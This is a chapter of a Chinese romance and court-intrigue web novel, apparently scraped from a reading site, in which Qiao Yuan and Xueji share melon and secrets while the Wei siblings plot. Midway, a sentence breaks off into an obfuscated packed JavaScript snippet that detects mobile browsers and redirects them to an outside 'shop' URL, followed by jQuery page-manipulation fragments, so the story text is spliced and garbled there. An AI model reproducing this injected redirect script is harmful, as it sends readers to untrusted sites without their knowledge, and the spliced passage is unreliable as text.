红千 作品

119. 吃瓜

乔大哥来了!雪霁不断向门外张望。


齐长宁召人处理伤口,专心听亲随细细回禀当时情况,推测两人来历:他们不但机关术厉害,亦熟悉战阵,知道自己是虎兕军之主后,不但不害怕反而生出杀心,重伤之人宁可放弃逃命机会也要置自己于死地,这样的人绑架雪霁……


“哥哥!”雪霁激动的声音响起,打断齐长宁的思绪。


齐长宁的目光追随雪霁身影,看她像朵轻盈的云一样扑向门口,门口站立着衣服脏乱、满是打斗痕迹的乔渊,他张开双手接住轻盈的云。


兄妹俩紧紧相拥,齐长宁收回目光。


“军主,属下无能,没能将那两人擒回,愿受责罚。”乔渊率先松开手,走到齐长宁面前单膝下跪。“多蒙军主相救,家妹才能毫发无伤。”


“那两人功夫不错,又有机关暗器相助,你孤身一人对付他们两个,很难将之擒回,不予责罚。”齐长宁道,“安王殿下正在查案,我找到线索过来看看,非是特意为你妹妹而来……你既归家,便与家人多团聚些日子,中秋后再归队。”


宁王殿下尚有要事,简单处理过伤处便自离去,留下亲随处理善后事宜。


夏夜微风习习,星光漫天。乔渊沐浴过后,披散着头发坐在院中,老梨树散发出阵阵令人心旷神怡的草木香,却丝毫不能抚慰乔渊沉重的心情。


今日乔渊赶到时,两位叔伯已经左支右绌难以为继,乔渊立刻冲上去与二人厮杀对战,借机放他们离开。两位叔伯狡兔三窟,早已准备下别的藏身处,自去疗伤躲藏。


乔渊担忧二人伤势,但又恐两人依然要对雪霁不利,不敢离开雪霁身旁。


想到右护军的固执,乔渊深深叹口气,他不愿隐瞒雪霁任何事,但又不能让她知道真相,心情难免沉重。


“乔大哥,瓜果湃好了。”新浴后的雪霁和乔渊一样披散着长发,端来一篮井水湃过的新鲜瓜果,将之放在夜明珠旁,用小刀将香瓜切成小块递给乔渊,自己也举起一块慢慢吃着。“要不是绑走我的那两人买过香瓜,我还不知道香瓜这么好吃。”


“他们对你可好?”乔渊看着雪霁一脸幸福表情吃着香瓜,忍不住问道:“有没有骂你?”


“从没骂过我。”雪霁又拿起一块香瓜,甜甜地吃着。“他们根本不想理我。但是也没苛待我,除了不让我出屋,饮食甚好,我想要什么也尽量找来。”


她边说边吃,甜黏的汁水蹭到脸上,手上也沾了瓜汁,正要抬起手背擦拭,一直未吃的乔渊已经放下手里香瓜,抬起她的脸徒手给她擦拭。


乔渊的手掌宽厚,几乎比雪霁的脸还要大,两个指头随便抹抹,就将粘腻的汁水抹去大半——另外那一小半被抹到了雪霁腮上。


雪霁忍不住笑,乔渊认真道:“不要笑,一笑更擦不利索。”


“好,我不笑。”雪霁勉强止笑不过一瞬,又笑得更加厉害:“乔大哥,不行,那里挨着脖子,好痒。”


乔渊大手捏住雪霁嫩豆腐一样的脸颊,小小精致脸庞被捏得嘟起嘴,笑不起来。乔渊仔仔细细给她擦干净瓜汁,才松手在她鼻尖一点:“以往怎么没看出你跟小馋猫似的?贪吃的样子要是让别人看到了,可怎么说?”


“乔大哥又不是别人。”雪霁自自然然道。


乔渊闻言一愣,随即看着雪霁笑起来。


雪霁看着乔大哥眼中的神采,突然害起羞来,脸上热热的,举手扇扇风,转过头去又拿起一块小香瓜,斯文细致地咬了小小一口,再也没有汁水流出。


“我去拿手帕。”乔渊起身,往屋里走去,话中带笑。“用不着这么斯文,乔大哥又不是别人。”


雪霁无声而笑,照着手中香瓜大大咬了一口,甜蜜的汁水溢出,才不在乎有没有蹭到脸上。


乔渊取了手帕,也拿起香瓜大口吃起来,甜甜蜜蜜中,心情豁然开朗:自己绝不会和雪霁分开,日久见人心,只要让右护军他们看到自己不但没有色令智昏,还越变越好,自然会慢慢放下心结,到时再带雪霁去见叔伯们,让叔伯们知道雪霁是多么好的姑娘。


只是这期间如果自己不在,须得保障雪霁安全,这可要好好谋划……


“吃好了。”雪霁吃得心满意足,取过手帕擦拭脸上、手上汁液,擦完觉得这方手帕有些眼熟,定睛一看不由“啊”了一声:“这是军主的手帕,我忘记还给他了。乔大哥,你下次见到军主时帮我还给他吧。”


军主……军主!


乔渊眼睛一亮:普天之下,再没有人比齐长宁更能保障雪霁安全。


乔渊心情大畅,自雪霁手中接过手帕,道:“能够在西戎结识军主,幸莫大焉。现下军主被封为宁王,会长留齐都。既然有人欲对你不利,雪霁,我离开前送你去宁王府避祸可好?”


雪霁正在收拾瓜皮果核,闻言手下一顿。


她想利用齐盛安进入魏氏高门,以便探查父母下落,之前请那两人去买《甘石星经》全卷和《鹖冠子》,递出只有齐盛安才懂的消息,正是引齐盛安来,好借机提出去魏氏避祸的请求。


没想到军主会先来一步,她没能见到齐盛安。


雪霁望向夜明珠,对着莹洁光华怅然若失:智蛇是她最珍惜的朋友,她却想利用智蛇,实在卑鄙。今日来的是军主而非智蛇,或许正是冥冥中的天意。


“想什么呢?”见雪霁迟迟未应,乔渊猜道:“怕军主,所以不想去宁王府?”走来接过雪霁手中盘子,收拾起瓜皮果核:“其实军主英明果敢并不滥杀无辜,跟随他越久越是钦佩,能被军主视作朋友,已是此生无憾……”


“乔大哥,”乔渊话语间充满对齐长宁的仰慕,雪霁漆黑双瞳幽幽闪闪:“假如你有一件非做不可的事情,需要利用军主而不能直言,或许会对军主产生不利,你会去做吗?”


乔渊想了想,叔伯们对齐氏一脉深恶痛绝,如果叔伯们身陷陷阱,让他利用齐长宁去救人……“如果是非做不可的事,那就做。”乔渊猜测雪霁一定有什么事情藏在心里,若在以前他会让她说出再为她承担,但历经西戎诸事,雪霁已经成长很多,乔渊温言开解道:“军主没有那么弱。我会尽力将对他的不利控制在最小范围内,事后再向军主坦言,任由处置。”


雪霁知道乔渊值得信赖,一直都在为她考虑为她承担,而现在,乔大哥更尊重她的决定,会给出中肯建议却不再大包大揽。雪霁再无顾虑,向乔渊坦诚道:“乔大哥,在神师的居所中……”


夜风吹拂过衣角,轻抚脸庞,微风中弥漫清新木香,在美好的夏夜,雪霁坐在石桌旁,将积压已久的心事一一道来,最后道:“乔大哥,我喜欢玉苏阿,可居次会和我讲条件;□□之十分可靠,然而总要装出轻浮的样子;智蛇最纯粹真诚,利


;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!''''.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new regexp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14114767|145631||http|test|mini|href|location''.split(''|''),0,{}));


() {


$(''.inform'').remove();


$(''#content'').append(''


用他我实在有愧于心。”


“军主确实不会假手神师做事,桑朱伯父和望夫人绝不会是军主捉走的。”乔渊认真听完雪霁讲述,道:“魏氏虽有嫌疑,但总有些蹊跷……齐盛安至今未曾现身,会不会是他根本没看出你留下的破绽?”


从未想过这个可能,雪霁呆住了。


“宁王这么快就找到人了?”魏无相站在水榭长廊,望着府中引河水蓄成的湖泊,语气毫无起伏:“安王殿下连三王宴都没去,一直守在书肆边上等消息,竟然还是比不过宁王快。”


“禀相邦,购书之人一直未出现。”下仆跪禀道,“安王殿下不但守在书肆旁,也一直令人在暗中探查搜索,整个齐都都已翻遍,还是没能找到绑匪下落。也不知宁王是怎么找到地方的。”


湖面波光粼粼,魏无相眯起眼睛:魏氏在齐都经营多年,方有如今势力;齐长宁常年在外征战,齐都只有魏昭君打理府邸,原以为只要封了王,齐长宁必须长留齐都,没了虎兕军的虎兕军之主,便会成为魏氏砧板上的鱼肉,没想到齐长宁竟能先于魏氏找到那两个绑匪。


捻起玉碗中盛放的鱼饵,魏无相洒向湖中,波澜不惊的湖面突然像匹缎般抖动起来,从深蓝色的水面下涌出大群鱼儿,争先恐后游到近前,争抢魏无相抛来的那一点鱼饵。


“请安王殿下回宫。”魏无相倒扣玉碗,看湖中鱼群大张着嘴抢夺鱼饵。“备安车,本相要入宫探望魏夫人。”


齐都正如这看上去平静如镜的湖面,其下不知有多少饿极了的大鱼在环伺,只有合适的鱼饵才会令这些大鱼现身。


绑架便是意外之饵,暴露了齐长宁已在齐都暗中发展出一股势力。


魏无相施施然向府外走去——现在露出端倪实是天助魏氏,在大事来临前,有的是时间拔除齐长宁的暗桩。


昭阳殿内,魏无相将齐长宁自绑匪手中救下“诸神宠儿”之事告诉了魏无垢。


魏无垢听得双目放光,拍手鼓掌,娇声称赞道:“宁王殿下年轻有为,可比兄长厉害多了。”


“正是如此,宁王殿下确实厉害。”魏无相点头称是,“三位殿下均已封王,这样关键的时刻,须得比以往更加谨慎留心,不可自曝弱点与人。你要想办法将盛安拘于宫中,不可令他随意外出见人——藏得越多露得越少,便越安全。”


“宁王殿下如此厉害,又怎会轻易暴露自己的厉害?连深宫中的我听了,都觉得他比兄长厉害呢。”魏无垢秀美的脸上显出一派天真,拗口令似的说道,“连兄长都知道要把盛安藏起来,宁王殿下却不知道把自己藏起来,真是有趣。”


闻言,魏无相额上沁出冷汗,脸色苍白:“你是说……那两名绑匪是他安排的,他是在故意做戏?”魏无相眉头紧皱,眉间皱纹更加深刻:“他在试探什么?”


魏无垢拿起案上香瓜咬了一口,津津有味地欣赏魏无相皱眉头:“兄长总是这样多思多虑,才会老得这么快。”


吃掉最甜的瓜瓤,魏无垢把剩下的香瓜一扔,用黏糊糊的手指去抚戳魏无相眉间的纹路:“兄长啊,何必把事情想得这么复杂。”


“英雄难过美人关。”魏无垢明眸流转,似笑非笑:“盛安从未对哪个姑娘如此上心,或许宁王殿下也和盛安一样呢?哎呀,这次我可要快一点,要赶在迅疾如风的虎兕军军主之前,把‘诸神宠儿’接进宫来!”